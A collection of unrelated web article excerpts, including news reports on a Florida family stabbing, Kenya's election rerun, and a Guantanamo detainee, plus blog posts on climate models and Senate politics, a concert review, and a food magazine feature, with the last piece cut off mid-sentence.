-Tyrone Troutman was just a boy 25 years ago when he saw his dad stab his mom a dozen times in the chest and neck. His mom survived.  But history repeated itself at the family home Thursday night when an argument about his mother's stabbing all those years ago raised his father's ire again — this time with a deadly result, the Broward Sheriff's Office said.  Joseph Troutman grabbed a foot-long butcher knife from the kitchen and charged at his son with it, officials said. He knocked his son to the floor and stabbed him in the back around 11:30 p.m., they said.  His 40-year-old son, covered in blood, reached a neighbor's home for help. When the neighbor opened the door, Tyrone Troutman shouted, "My father stabbed me!"  He collapsed and later that night died at a hospital.  Joseph Troutman, 63, phoned 911 to say he had stabbed his son, officials said. He was arrested on a second-degree murder charge.  His son had witnessed his father's violence at a Deerfield Beach home on the night of April 10, 1989, when Joseph Troutman was arguing with his then-wife, Ora Troutman, records show.  Tyrone, then 15, saw his father with a knife in his hand and on top of his mother in the master bedroom. He saw his mother bleeding from the stab wounds his dad had inflicted.  The assault that day began while Ora Troutman was taking a shower, according to John Contini, the lawyer who represented Joseph Troutman in the case.  "He was wearing a ski mask over his head at the time and she was stabbed repeatedly and their son saved her life by jumping on his father's back" and pulling off the mask, Contini said. "This allowed her to get away, and she ran naked to a neighbor and survived."  Joseph Troutman later saw officers outside the home. When one officer asked his name, he spontaneously said, "We were fighting, and I cut her."  An officer found Ora Troutman on a couch inside the home. She was lying on her back, wrapped in a blanket. She was taken to a hospital.  Later that year, Joseph and Ora Troutman divorced, records show.  Joseph Troutman faced an attempted murder charge. But in March 1990, he pleaded guilty to a lesser charge and served about a third of a reduced seven-year sentence, according to Contini.  "He was respectful, courteous and seemingly remorseful and even likable," Contini said. "We all came to the same conclusion that the family supported the [reduced sentence] and the second chance for him, notwithstanding the horrific facts involved."  Relatives said Tyrone Troutman had been living with his father on and off and they had tried to reconcile their differences since the knife attack. Tyrone Troutman himself grew to have a temper, a relative said.  "Anyone going through that horror would have to be suffering from PTSD all this time, unless he had some real intervention and help," Contini said. "These are things that simply cannot be expunged from your memory."  A few months ago, Tyrone Troutman moved into his dad's North Lauderdale residence in the 6500 block of Harbour Road, the Sheriff's Office said. That's where Thursday's stabbing happened.  According to the Sheriff's Office, Joseph Troutman and his son were arguing, and the dispute soon became about Ora Troutman's stabbing.  Tyrone Troutman's girlfriend, Donna Lalor, told investigators that Joseph Troutman became enraged after his son grabbed a radio from the table and smashed it.  Joseph Troutman then grabbed a butcher knife, came at his son and stabbed him, Lalor told investigators.  She was able to get between the men while telling the elder Troutman to stop, an arrest report said.  Tyrone Troutman was able to run to the home of neighbor Diego Arias and bang on his door. Arias found Tyrone Troutman covered in blood. He asked him what had happened.  "I'm sure it was terrifying for him," sheriff's spokeswoman Dani Moschella said. "There was [Troutman], bloody and on the ground, saying his father had stabbed him. And then he becomes unresponsive."  Arias began CPR on the wounded man.  "He did everything he could," Moschella said.  Arias' niece, Catherine Arredondo, 18, and her grandmother were at Arias' home at the time.  Arredondo said Tyrone Troutman was drifting in and out of consciousness.  "First he was like gone, he just looked at us as if he was gone and my uncle just started putting pressure on his heart," she said. "It was scary."  Donna Lalor "was just hysterical," Arredondo said. "She was shocked."  North Lauderdale Fire Rescue took Tyrone Troutman to Broward Health North, where he was pronounced dead.  After Joseph Troutman called 911, he told detectives that he was acting in self defense, authorities said. But he also acknowledged his son was not armed, they said. Joseph Troutman was treated at Broward Health Medical Center for a cut on his hand, the Sheriff's Office said.  Contini was shaken by the news of Tyrone Troutman's death.  "He was a hero 25 years ago saving his mom and now he's dead," he said. "It's more than horrific, it's painfully sad beyond measure."  Staff researcher Barbara Hijek and staff writer Juan Ortega contributed to this report.  wkroustan@tribune.com or 954-356-4303  CORRECTION: An earlier version of this online article contained incorrect information about Joseph Troutman. Records that described a 1996 Georgia cocaine case had nothing to do with him.
-Sounds like pretty good advice, huh? Thankfully, Chuck Schumer has gone on record on this issue, insisting to the American Constitution Society that the Senate not only has the right but the duty to block Supreme Court nominees from a lame-duck President. Only with an extraordinary nominee should the Senate confirm such an appointment, Schumer insists (via Grabien and Gary Gross):  Of course Schumer aimed this at George W. Bush, but note that this speech took place in mid-2007, when Bush still had 18 months left in his presidency. That’s almost twice as much as Barack Obama has left in his own, and both presidents appointed two members to the court. Schumer complains about the supposed extremism of the two appointments, but Republicans can easily make the same complaint about both of Obama’s appointments. Gander, sauce … some assembly required.  The only differences between then and now are the party that controls the White House, and the small allowance Schumer holds out for potential cooperation. If an extraordinary candidate who could pass Democrats’ standards for “mainstream” came before the Senate for confirmation, then Schumer says they could consider approving him or her. Republicans are insisting that they won’t confirm anyone regardless of whom Obama appoints, which functionally amounts to the same threat Schumer made in mid-2007 but is a little harder to sell as a reasonable stand. If Obama nominated an Alito or Roberts, why would Republicans refuse to confirm him or her? Obama has no intention of replacing Scalia with another conservative, of course, but what if Obama agreed to confer with the Republican majority to give him three acceptable options for nominees and he appointed one of them? Would they still refuse to hold hearings?  The GOP would have been smarter to take the Schumer road, but it’s a little late for that now, and it really doesn’t make that much difference. Every time someone complains that Republicans are acting unconstitutionally, offer them Schumer’s 2007 declaration — and the American Constitution Society’s approving applause.
-Do snakes sleep with their eyes open?  People have been spreading the rumor that snakes sleep with their eyes open for years - so which one is it, a myth or a fact?  Busted! This one’s a myth. If you’ve ever seen a snake in the wild coiled up and not moving, you are never sure whether or not he is sleeping, because his eyes appear to be open.  Snakes do not have legs, which means that they need to slither in order to get around, requiring them to be very close to the ground. The snake may come upon sharp grass, dirt, and debris, which can all affect his eye. In order to protect them, evolution has given snakes clear, transparent eyelids called brille.  Even when the snake closes its eyes, it can still see through these “glass” eyelids. This type of eyelid is made out of skin and sheds along with the rest of the snake. When the old skin grows old and tough, the snake begins to grow a new set of eyelids underneath the old one.  Source
-Guest Post by Willis Eschenbach  Now that my blood pressure has returned to normal after responding to Dr. Trenberth, I returned to thinking about my earlier somewhat unsatisfying attempt to make a very simple emulation of the GISS Model E (herinafter GISSE) climate model. I described that attempt here, please see that post for the sources of the datasets used in this exercise.  After some reflection and investigation, I realized that the GISSE model treats all of the forcings equally … except volcanoes. For whatever reason, the GISSE climate model only gives the volcanic forcings about 40% of the weight of the rest of the forcings.  So I took the total forcings, and reduced the volcanic forcing by 60%. Then it was easy, because nothing further was required. It turns out that the GISSE model temperature hindcast is that the temperature change in degrees C will be 30% of the adjusted forcing change in watts per square metre (W/m2). Figure 1 shows that result:  Figure 1. GISSE climate model hindcast temperatures, compared with temperatures hindcast using the formula ∆T = 0.3 ∆Q, where T is temperature and Q is the same forcings used by the GISSE model, with the volcanic forcing reduced by 60%.  What are the implications of this curious finding?  First, a necessary detour into black boxes. For the purpose of this exercise, I have treated the GISS-E model as a black box, for which I know only the inputs (forcings) and outputs (hindcast temperatures). It’s like a detective game, trying to emulate what’s happening inside the GISSE black box without being able to see inside.  The resulting emulation can’t tell us what actually is happening inside the black box. For example, the black box may take the input, divide it by four, and then multiply the result by eight and output that number.  Looking at this from the outside of the black box, what we see is that if we input the number 2, the black box outputs the number 4. We input 3 and get 6, we input 5 and we get 10, and so on. So we conclude that the black box multiplies the input by 2.  Of course, the black box is not actually multiplying the input by 2. It is dividing by 4 and multiplying by 8. But from outside the black box that doesn’t matter. It is effectively multiplying the input by 2. We cannot use the emulation to say what is actually happening inside the black box. But we can say that the black box is functionally equivalent to a black box that multiplies by two. The functional equivalence means that we can replace one black box with the other because they give the same result. It also allows us to discover and state what the first black box is effectively doing. Not what it is actually doing, but what it is effectively doing. I will return to this idea of functional equivalence shortly.  METHODS  Let me describe what I have done to get to the conclusions in Figure 1. First, I did a multiple linear regression using all the forcings, to see if the GISSE temperature hindcast could be expressed as a linear combination of the forcing inputs. It can, with an r^2 of 0.95. That’s a good fit.  However, that result is almost certainly subject to “overfitting”, because there are ten individual forcings that make up the total. With so many forcings, you end up with lots of parameters, so you can match most anything. This means that the good fit doesn’t mean a lot.  I looked further, and I saw that the total forcing versus temperature match was excellent except for one forcing — the volcanoes. Experimentation showed that the GISSE climate model is underweighting the volcanic forcings by about 60% from the original value, while the rest of the forcings are given full value.  Then I used the total GISS forcing with the appropriately reduced volcanic contribution, and we have the result shown in Figure 1. Temperature change is 30% of the change in the adjusted forcing. Simple as that. It’s a really, really short methods section because what the GISSE model is effectively doing is really, really simple.  DISCUSSION  Now, what are (and aren’t) the implications available within this interesting finding? What does it mean that regarding temperature, to within an accuracy of five hundredths of a degree (0.05°C RMS error) the GISSE model black box is functionally equivalent to a black box that simply multiplies the adjusted forcing times 0.3?  My first implication would have to be that the almost unbelievable complexity of the Model E, with thousands of gridcells and dozens of atmospheric and oceanic levels simulated, and ice and land and lakes and everything else, all of that complexity masks a correspondingly almost unbelievable simplicity. The modellers really weren’t kidding when they said everything else averages out and all that’s left is radiation and temperature. I don’t think the climate works that way … but their model certainly does.  The second implication is an odd one, and quite important. Consider the fact that their temperature change hindcast (in degrees) is simply 0.3 times the forcing change (in watts per meter squared). But that is also a statement of the climate sensitivity, 0.3 degrees per W/m2. Converting this to degrees of warming for a doubling of CO2 gives us (0.3°C per W/m2) times (3.7 W/m2 per doubling of CO2), which yields a climate sensitivity of 1.1°C for a doubling of CO2. This is far below the canonical value given by the GISSE modelers, which is about 0.8°C per W/m2 or about 3°C per doubling.  The third implication is that there appears to be surprisingly little lag in their system. I can improve the fit of the above model slightly by adding a lag term based on the change in forcing with time d(Q)/dt. But that only improves the r^2 to 0.95, mainly by clipping the peaks of the volcanic excursions (temperature drops in e.g. 1885, 1964). A more complex lag expression could probably improve that, but with the initial expression having an r^2 of 0.92, that only leaves 0.08 of room for improvement, and some of that is surely random noise.  The fourth implication is that the model slavishly follows the radiative forcings. The model results are a 5-run average, so it is not clear how far an individual model run might stray from the fold. But since the five runs’ temperatures average out so close to 0.3 times the forcings, no individual one of them can be very far from the forcings.  Anyhow, that’s what I get out of the exercise. Further inferences, questions, objections, influences and expansions welcomed, politeness roolz, and please, no speculation about motives. Motives don’t matter.  w.  Advertisements  Share this: Print  Email  Twitter  Facebook  Pinterest  LinkedIn  Reddit
-An accused al-Qaeda bomb-maker who went to college in Arizona has claimed to military officials at the US base in Guantanamo Bay, Cuba, that he believed an unnamed member of the Saudi royal family was part of an effort to recruit him for violent extremist acts before the Sept. 11, 2001, attacks, according to a newly released transcript.  Ghassan Abdallah al-Sharbi said a religious figure in Saudi Arabia used the term "your highness" during a telephone conversation with a man, just before urging al-Sharbi to return to the U.S. and take part in a plot against the US that would involve learning to fly a plane.  The Sept. 11 commission found there was no evidence to indicate that the Saudi government as an institution or Saudi senior officials individually had supported the attacks, and the kingdom's government has consistently denied it had any role in the plot.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  It was early 2001, and al-Sharbi had only recently returned from the United States, where he had taken some flight school courses in Phoenix with two men who would become hijackers in the 9/11 attacks.  Al-Sharbi described the conversation in June to the Periodic Review Board, which assesses whether Guantanamo prisoners can be released. The Pentagon on Thursday posted a transcript, with parts blacked out, on the website of the board, which includes representatives from six U.S. agencies and departments.  The statement is convoluted and lacks important details, such as whether the "religious figure" might be close to any Saudi officials. It does not indicate who the Saudi royal might be. The term can be used for thousands of members of the Saudi royal family; al-Sharbi did not say he met the man.  Al-Sharbi also appears to be struggling with illness. He tells the board he had just come from the detainee hospital, is "really exhausted, and nauseous and lethargic," and uses what is described as a "manual breathing device."  The Saudi Embassy in Washington declined to comment on the al-Sharbi transcript. In the past, the Saudis have pointed to the 9/11 Commission, FBI investigations and other probes that found no Saudi government or royal family involvement in the attacks.  Al-Sharbi says he listened as the "religious figure" spoke to the man -- whom al-Sharbi believes was a royal -- as they discussed al-Sharbi's qualifications for returning to the U.S. for jihad. "I remember, 'yes, your highness, yes your highness,' and he was talking to him about me," al-Sharbi said.  The prisoner's candor about his health may add to the plausibility of the statement, claimed Max Abrahms, an assistant political science professor at Northeastern University who studies terrorism. Mr Abrahms reviewed the transcript.  "He is very open that he is really struggling physically, that he's exhausted, that he has been under serious medication," Mr Abrahms said. "But on the other hand it lends additional credibility to his statement because it's not very deliberate and not memorised."  A Guantanamo spokesman, Navy Capt. John Filostrat, said the military does not disclose details about detainees' health. "Overall, the general health of detainees is good," he said.  Al-Sharbi attended Embry-Riddle Aeronautical University in Prescott, Arizona, from 1999-2000, according to the review board website.  In the transcript, the prisoner described living with various Americans, including a Phoenix police officer, in Arizona and California before returning to Saudi Arabia in the summer of 2000.  After telling the "religious figure" that he had some practice on a flight simulator and could learn to fly more easily than others, al-Sharbi says he agreed to return to the U.S and they began to discuss details. But al-Sharbi never went, for reasons that are unclear in the transcript.  The review board profile says al-Sharbi went to Afghanistan in the summer of 2001, trained with al-Qaeda and then went to Pakistan, where he learned how to make remote-controlled explosive devices and teach the skill to others. He was captured there in a house with Abu Zubaydah, whom the U.S. has called an al-Qaeda "facilitator." He, too, is confined at Guantanamo.  When captured, the FBI found a buried a cache of documents nearby, including an envelope from the Saudi Embassy in Washington that contained al-Sharbi's flight certificate, according to a document known as File 17, which was declassified earlier this year and names people the hijackers were in contact with in the United States before the attacks, including diplomats of the kingdom.  In July, the review board declined to approve his release from Guantanamo, where he is among 61 prisoners still held.  AP  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-Across the province people are feeling the ripple effect of the cuts being made by the provincial government. On Saturday, people from various walks of life joined together to protest.  “We’re all in this together. When you cut something it’s not just the people that are directly impacted by the jobs, it’s the people also that utilize the services,” said Darin Milo with the Regina and District Labour Council.  Approximately 150 people from various groups protested funding cuts and Bill 40, which would allow the government to sell off up to 49 per cent of crowns, at a rally in front of Finance Minister Kevin Doherty’s constituency office. The rally was organized by the Saskatchewan Federation of Labour.  Representatives from Unifor, Students Mobilizing Against Cuts, and Public Pasture — Public Interest were among the speakers. This was one of many protests that have been happening across the province since the budget was released on March 22.  “Different organizations are going to have their different protests but what we’re also seeing are different groups attending protests of groups that they’re not normally associated with and it’s kind of all coming together that way,” Milo said.  Rick Ostlund, a Sasktel employee and Unifor member, spoke at the protest. Ostlund has attended various rallies and each time he has been reassured by the number of people attending.  “Its good to support the public on coming out and rising up against and letting the Sask Party know that what they’ve said and done over the last few years is a detriment to this province,” he said.  Ostlund said that during his years as a Sasktel employee, he has seen the impact the Saskatchewan Party’s policies has had on the crown corporation and now he is seeing those policies spill out to affect the rest of the province.  “Everybody sees the same thing, cuts that are hurtful. And so its reaffirmation of what we’ve known for quite a few years. So its good to see everybody else finally getting behind it and standing up against it,” he said.  Ostlund said he believes the protests are having an effect and are helping to make changes in the province.  “I think its changed the perception in this province of the current way that the government is running is not for the people, it’s for the business. The small changes one at a time will accumulate and add up to a lot,” he said.  NDP interim leader and leader of the official opposition, Trent Wotherspoon, also spoke at the rally.  “We’re going to fight for people in the legislature, we’re going to fight for people in the community, we’re going to rally and reach out … to fight to stop the cuts and to fight to stop the damaging sell-offs” he said.  arobinson@postmedia.com  twitter.com/ashleymr1993
-Kenya's electoral commission says it has moved the date of the country's repeat presidential elections to October 26.  The commission said in a statement on Thursday that plans to hold the vote on October 17 had to be scrapped because it needs more time to meet the requirements set by the Supreme Court on Wednesday.  In its ruling, the court said the electoral commission had failed to properly verify the result of the August 8 vote that declared President Uhuru Kenyatta as the winner but was later invalidated.  It also said the electoral commission had not given the court access to its computer servers to disprove the charge by veteran opposition leader Raila Odinga that hackers infiltrated the commission's system and altered the results.  "There is no doubt that the judgement impacts on the election operations and in particular technology to be deployed," the commission said in its statement announcing the new date for the elections.  "In order to ensure that the Commission is fully prepared to deliver an election that meets the standards set out by the Supreme Court, we wish to notify the public and all stakeholders that the fresh presidential election shall now be held on Thursday, 26th October 2017," it added.  OPINION: Can Kenya pull off a second election within 60 days?  Kenyatta on Thursday denounced the nullification of his re-election as a blow to the democratic ideals Kenyans fought for, calling it "a judicial coup".  But in an interview with Al Jazeera, Odinga said that the Supreme Court was right to void the result.  "I know that I did not lose the election and the results were just manipulated," he said on Thursday.  "This is what we call injustice, and the court did the right thing after examining the evidence we placed before it."
-European Union prepares for Greek state bankruptcy  By Peter Schwarz  8 October 2011  The European institutions have clearly changed course in relation to Greece. Instead of the “rescue” of the country, they are now discussing its bankruptcy, and reducing the risk of contagion. The euro rescue fund, supposed to guarantee Greece’s solvency, is being used to secure the creditor banks against the consequences of state bankruptcy.  The change of course has happened gradually, under the pressure of intense fluctuations on the stock exchanges and financial markets, the threat of bank failures and growing opposition to the austerity measures of the Greek government. But it follows unmistakeable class logic.  The fear of an uncontrollable chain reaction had previously prevented the EU from risking a collapse of Greece. They feared the bankruptcy of the largest creditor banks, which in turn would have drawn more banks into the abyss—like Lehman Brothers in the US after its bankruptcy in September 2008. Other heavily indebted countries such as Portugal, Ireland, Spain and Italy are also threatened with being cut off from access to credit if Greece, a member of the euro zone, goes bankrupt.  Under these circumstances, Greece’s billion-euro rescue packages serve to gain time. They have not benefited the Greek state, and certainly not the Greek population, but went directly into the coffers of the creditor banks, which received their loans repaid in full with all interest due. The European Central Bank also bought large quantities of Greek government bonds on the open market, thus relieving the risks banks faced from their additional papers.  The Greek rescue packages have been linked to drastic cost-cutting measures, which from the outset ruled out Greece’s mounting an economic recovery. Even to a layperson, it was obvious that the recession caused by the austerity measures would nullify any budgetary savings.  The purpose of the austerity measures was not so much to restructure the budget, but to ruin the working class. Under the dictates of the so-called troika—the European Central Bank, the European Commission and the International Monetary Fund—the Greek government has cut pensions and incomes, destroyed tens of thousands of public sector jobs and driven the self-employed into bankruptcy by raising taxes, while the rich elite have hoarded their wealth in foreign bank accounts.  Meanwhile, protests against these measures are increasingly threatening the Greek government. This month alone there have been several general strikes and protest actions. The unions, which are working closely with the government, are finding it increasingly difficult to keep the resistance under control.  The representatives of the troika have concluded from this that the time has come to abandon Greece. State bankruptcy would mean that the government had no funds to pay salaries and pensions, as well as for other public spending. Just as US automotive firms exploited bankruptcy procedures to wipe out their financial obligations to the workforce in one stroke, the Greek government could effectively annul its existing contracts and legal arrangements. The question then would not be how many jobs would be eliminated and how far salaries were being cut, but who has a job at all.  Greek state bankruptcy would also be used to intimidate workers in the other European countries. It would represent an unequivocal threat, showing what awaits them if they do not accept the austerity measures being imposed by their own governments.  In Greece itself, state bankruptcy would provoke violent social unrest. But the EU expects to be able to isolate this with the help of the unions, who have so far refused to organise any international solidarity with the Greek workers. The Greek military has also spoken out again, and threatened to bring down the PASOK government. Under the rule of the “colonels”, the military suppressed the Greek working class from 1967 to 1974 with a bloody dictatorship.  The main concern of the EU at present is how to prevent a Greek state bankruptcy from bringing down international banks and other European countries. All the decisions and debates of the last weeks and days revolved around this question.  The euro zone governments had already agreed in June to increase the euro rescue fund (EFSF) and expand its powers. Rather than simply provide credit guarantees to ailing euro zone countries, the EFSF may now also buy up government bonds of vulnerable states on the open market and so remove the risks facing the banks.  Increasing the banks’ capital holdings with funds from the EFSF or other public monies is also now up for discussion. This was the central theme at the meeting of EU finance ministers on Tuesday last week. The ministers commissioned the European Banking Authority (EBA) to verify the resilience of the European banks if Greece were to default on its payments.  On Wednesday, German Chancellor Angela Merkel also agreed to this line. If banks urgently needed money, the European states should not delay financial aid because this would be “money reasonably invested”, she said after a meeting with EU President Jose Manuel Barroso and the leaders of the main international financial institutions.  On Thursday, the European Central Bank decided, in turn, to support threatened banks with large amounts of money.  In other words, instead of rescuing euro zone countries faced with bankruptcy, the funds of the euro rescue package and the ECB are now being used to bail out the banks when indebted countries go bankrupt.  Experts believe that the European banks need at least €200 billion to €300 billion of additional capital to survive a Greek state bankruptcy. Like the bank bailout in the 2008 financial crisis, these funds would be recouped again through austerity measures at the expense of working people.  Many politicians and media representatives now regard a Greek state bankruptcy as a certainty.  Spiegel Online commented on the events of last week, saying: “Now the financial institutions are to be supported with taxpayers’ money. That might be cheaper than rescuing countries in crisis.”  And Europe’s leading financial newspaper, the Financial Times, published a comment on Thursday under the headline “Save the euro—let Greece default”.  “Given its debt, its budget and current account deficits and its woeful lack of competitiveness, Greece cannot escape the debt trap”, it stated. “Austerity piled on austerity will simply kill the patient.”  To manage the country’s bankruptcy, the Financial Times calls for “a co-ordinated recapitalisation of the banks and a quadrupling to €2,000bn or so in the firepower of the European Financial Stability Facility.” The bill for these measures will have to be paid by working people throughout Europe, in the form of further cuts and austerity measures.  The preparations for Greek state bankruptcy mark a new stage in the offensive of the ruling financial elite against the working class. This offensive can only be answered by a common struggle of European workers on the basis of a socialist programme, which focuses on the expropriation of the banks and big corporations and the establishment of the United Socialist States of Europe.
-Representative Joe Barton of Texas introduced a bill Friday that would allow for the legalization of online poker in the United States. The bill, named the “Internet Gambling Prohibition, Poker Consumer Protection, and Strengthening UIGEA Act of 2011,” would allow individual states to choose whether they want to allow residents access to online poker rooms.  “Poker is an all-American game, and it’s a game that requires strategy and skill,” said Rep. Barton in a statement Friday. “Millions of Americans play poker online. Although it’s legal to play for money, it’s illegal to process the transactions that allow players to collect their earnings.”  “We want to have an iron-clad system to make sure that those who play for money are playing in an honest, fair system where they can reap the benefits of their winnings. To put it simply, this bill is about having the personal freedom to play a skill-based game you enjoy without fear of breaking the law. ”  The bill has 11 co-sponsors, including Rep. Barney Frank (D-MA), Rep. Steve Cohen (D-TN) and Rep. John Campbell (R-CA). Many parts of Barton bill look similar to the one drawn up by Frank last summer that never made its way through the Senate. Barton’s bill is fuzzy in some areas, but several regulations were drawn out regarding matters such as player age requirement, cheating, license eligibility, and deposit methods.  The bill would prohibit players from using credit cards for transactions and enforce an age limit of 21. Younger players would not be able to cash out any winnings, but would be responsible for any losses. Cheaters, meanwhile, could be charged with a federal crime, punishable by a fine and/or up to three years in prison. The bill mentions the use of bots as well as collusion as forms of cheating, but would not initially prohibit popular tracking programs such as PokerTracker or Hold’Em Manager.  Like versions of online poker bills of the past, this bill would allow for only U.S. residents to play against one another, isolating Americans from playing against players from other countries as they had been accustomed to on sites like PokerStars and Full Tilt Poker.  Players would also have the option of excluding themselves from playing on a particular site. Should they find a way to play during their self-exclusion, the same rules for under-aged players would apply for those caught in the act.  The legislation doesn’t have a timetable, but Barton and his supporters are in the process of moving it as quickly as possible. If passed, the bill would need to make its way through the Secretary of Commerce, the Secretary of the Treasury, and then the Director of the Financial Crimes Enforcement Network. The licensing framework would then begin under the supervision of the Department of Commerce. That department would have control over issuing licenses to online poker operators.  The Barton bill was met with overwhelming support Friday by the Poker Players Alliance (PPA), a Washington-based non-profit group formed to protect poker players’ rights. The PPA released a statement following the release of the bill:  “On behalf of the PPA membership and millions of poker players across the country, I thank Congressman Barton for his commitment to protecting Americans’ freedom to play poker on the Internet,” said former Senator Alfonse D’Amato, chairman of the PPA. “As recent events have shown, the lack of clarity surrounding online poker has wreaked havoc on Americans who choose to play this great game both for fun and in some cases as their profession. Congressman Barton’s bill aims to bring clarity to the law, while implementing tough consumer protections and providing a mechanism for the Federal and state governments to collect billions of dollars in revenue. ”  Congressman Barton will make an appearance at the World Series of Poker Saturday to announce the ceremonial “Shuffle Up and Deal” for Event #43, a $1,500 No Limit Hold ’em tournament, at Noon PT. Players can voice their support of the bill to him in person at the Rio, or send a customized email to their member of Congress urging him or her to support the Barton bill.
-Free Boxsona Box Contest!  ❮❮ Newer Download | Full View Older ❯❯ Submission © 2016 BoxsonaOfficial Main Gallery  108 submissions  Free Boxsona Box Contest! - by BoxsonaOfficial Submission information:  Posted:  Category: All  Theme: All  Species: Unspecified / Any  Gender: Any  Favorites: 7  Comments: 19  Views: 534  Image Specifications:  Resolution: 469x1000  Keywords:  boxsona furry subscription_box subscription box fandom prize giveaway contest free box  Free Boxsona Box Contest!  Hey everyone! We’re giving away a free Boxsona box to mark our opening. All you need to enter is an email. The contest is only open to those living in Canada (excluding Quebec) or the USA currently. Follow the link for more details! We have lots of ways to enter and to gain extra entries!  http://www.boxsona.ca/  http://www.boxsona.ca/Promotions.php  The contest will be opening tonight at midnight, and will run until Sunday August 28th @ 11:59pm AST  We wish everyone the best of luck, and ask that you share our contest with anyone you think would be interested. May the odds be ever in your favor!
-If you have a Samsung Galaxy S5 smartphone, then you will have noticed with certainty that there has no new Android version been released in the last months. This is strange, since Android 4.4.4 KitKat has been available for some time and Android L was also presented by Google.  +++ Now there is finally news about Android 4.4.4 KitKat and the Samsung Galaxy S5:  The Android 4.4.4 update KitKat is available for download since ​​a few days ago in the USA and in Australia. So if you didn´t received the Update yet, when you have to check manually for a new Android Version. We show you now how this works:  Take your Samsung Galaxy S5 and the navigate from the home screen to: Menu --> Settings --> About device --> Software Update --> Update now  You need a working internet connection and it is advisable to use a W-Lan Network, since a new Firmware Update has a big Megabyte Volume. Your Samsung Galaxy S5 should now find the new Android Version KitKat 4.4.4. Acceppt the new firmware and it gets installed on your Samsung Galaxy S5 device.  Ready. After downloading and installing, which lasts about 20 minutes, you can use Android KitKat at your Samsung Galaxy S5. Enjoy!
-If your idea of fun is having a leathery, shirtless, 66-year-old man sweat on you, then you needed to be near the stage at (Le) Poisson Rouge for Iggy Pop's afternoon public-radio showcase on April 28 with his band The Stooges.  And if that's not your idea of fun, then you really, really need to see Iggy Pop perform live, and soon.  Iggy & The Stooges played a mix of new songs from Ready to Die, as well as a handful of old favorites. If you weren't an Iggy Pop fan, you might have had trouble telling them apart, which is a pretty strong compliment for those new songs. Loud, fast, snotty and fun, the band ran through the proto-punk of "Raw Power" and "Fun House" as easily as it played new material like "Ready to Die" and "Job."  About that band: Original bassist Ron Asheton died a few years back, but Mike Watt, formerly of The Minutemen, is a great replacement. Scott Asheton is on the new disc, but Larry Mullins is the band's touring drummer. Steve Mackey plays sax, and James Williamson has reunited with Iggy Pop after many years to play guitar. I've seen numerous accounts in the press that say it's the first time Williamson and Pop have worked together in 40 years, since 1973's Raw Power, but that's not accurate. They played together on Kill City later in the '70s, as well as New Values in the early '80s, but it's been a while regardless.  Either way, the reunion is clearly working: One of the high points of this concert, a new ballad called "The Departed," features Williamson on slide guitar and Iggy Pop apparently singing about the late Ron Asheton. At the end of the song, Pop teased the crowd by singing, "Now I wanna..." a couple of times — finally pointing the microphone at the audience, which duly replied with "be your dog." It was just one instance of Iggy Pop working the crowd; I think he might have tried to marry a couple at the foot of the LPR stage at one point, singing them a NSFW version of the wedding march.  And, of course, Iggy Pop professed his gratitude to public radio on stage — in the process making sure that his stage banter and several of his songs would never make it onto the radio, public or otherwise. "Sex and death," he told us, were the themes of a major part of the show. But fun — irreverent, youthful, sometimes dangerous fun — is and always has been the focus of Iggy Pop's career.  Set List
-How do the contemporary food magazines use photography? BJP speaks with five of the best to find out - Lucky Peach, Put A Egg On It, The Gourmand, Gather Journal, and Itineraries d'une cuisine contemporaine  When chef and Momofuku restaurants founder David Chang set up Lucky Peach in 2011, The New York Times called it “a glorious, improbable artifact”. It also predicted the venture would herald a new era of unconventional niche magazines featuring skinless chickens on their covers, eye-popping graphics and visuals, and a single theme per issue. Five years on, it seems The New York Times was right.  “It definitely was meant to push the boundaries of what, up until that point, defined food magazines, which tended to be very safe editorially and visually,” says Devin Washburn, the quarterly’s art director since September 2015.  A self-described non-foodie, Washburn was surprised by the sheer pace of food photography when he joined. “Ideas are very spur-of-the-moment, since you have to make the food on site and photograph it before it cools down, settles or loses its shape,” he says, adding that he also had to get an understanding of the cooking process, as everything that goes into making a dish has an effect on how it looks.  “I learned that each step – setting the ingredients, the prep work, the cooking – is equally important and interesting, whereas when I first started I was mostly interested in the final product.”  It sounds like a steep learning curve, but Washburn has something crucial in common with the Lucky Peach founder and team: a taste for taking risks. In the very first issue he worked on, for example, he accompanied a piece discussing taste as a matter of perception by having the food 3D-rendered in a crude, rough way.  When faced with illustrating a feature on Vietnamese desserts, he played up their monotone tan colours, asking Pete Deevakul to shoot straightforward, unprepossessing shots of even the most high-end recipes against a similarly bland background (including renowned pâtissier Pierre Hermé’s coffee macaron). The result is irreverent yet appetising, words that have come to define Lucky Peach’s brand.  “When you pick up Lucky Peach, you should expect to be in for something different visually,” says Washburn. “There’s a looseness and playfulness that is pretty unique. We’re not afraid of making mistakes. In fact, we avoid being too structured, which would make us boring. And we try not to take ourselves too seriously.  “Even the most beautiful piece needs to have a humorous note. Essentially, it needs to feel like it’s a magazine made by real people.”  He adds that Deevakul exemplifies what he looks for in a photographer when he’s scouring blogs and Instagram people who have a visual voice that is uniquely their own. Washburn is also on the lookout for individuals who have a strong personality, because he likes to know what to expect, and he is especially drawn to those who can turn seemingly mundane objects into art. “Pete can make a bottle of water look mesmerising,” he says, laughing.  And as much as he likes to work with long-term collaborators such as Deevakul, Washburn is also keen to use new photographers in every issue to help keep the magazine looking fresh. “Beyond that, we just try to push ourselves with each shoot,” he says.  “We want the process to be fun for us as well. Shooting with the same props would get quite boring. Each time, we try to figure out how to entertain ourselves.” And in the process, they’ve also worked out how to entertain their audience.
-(Health.com) -- When Dina Khiry is feeling a bit down, she reaches for chocolate. "I like Reese's peanut butter cups, Hershey's bars, and chocolate cake batter," says the 24-year-old public relations associate. "I feel better in the moment -- and then worse later on, when I realize that I just consumed thousands of calories."  Khiry's emotional relationship with chocolate isn't uncommon, new research suggests. According to a study published this week in the Archives of Internal Medicine, people who feel depressed eat about 55 percent more chocolate than their non-depressed peers. And the more depressed they feel, the more chocolate they tend to eat.  Although gorging on chocolate and sweets to beat the blues has become a cliché thanks to sitcoms and romantic comedies, there's been "little prior scientific literature linking chocolate and depression," says the lead author of the study, Dr. Beatrice Golomb, a professor of medicine at the University of California at San Diego School of Medicine. The study, she says, provides evidence to support "the popular perception that when people need a pick-me-up, they pick up chocolate."  It's unclear, however, whether depressed people eat more chocolate simply because they crave it, or whether chocolate consumption itself somehow contributes to a depressed mood.  In the study, Golomb and her colleagues surveyed more than 900 people about their weekly chocolate consumption and their overall diet. They also 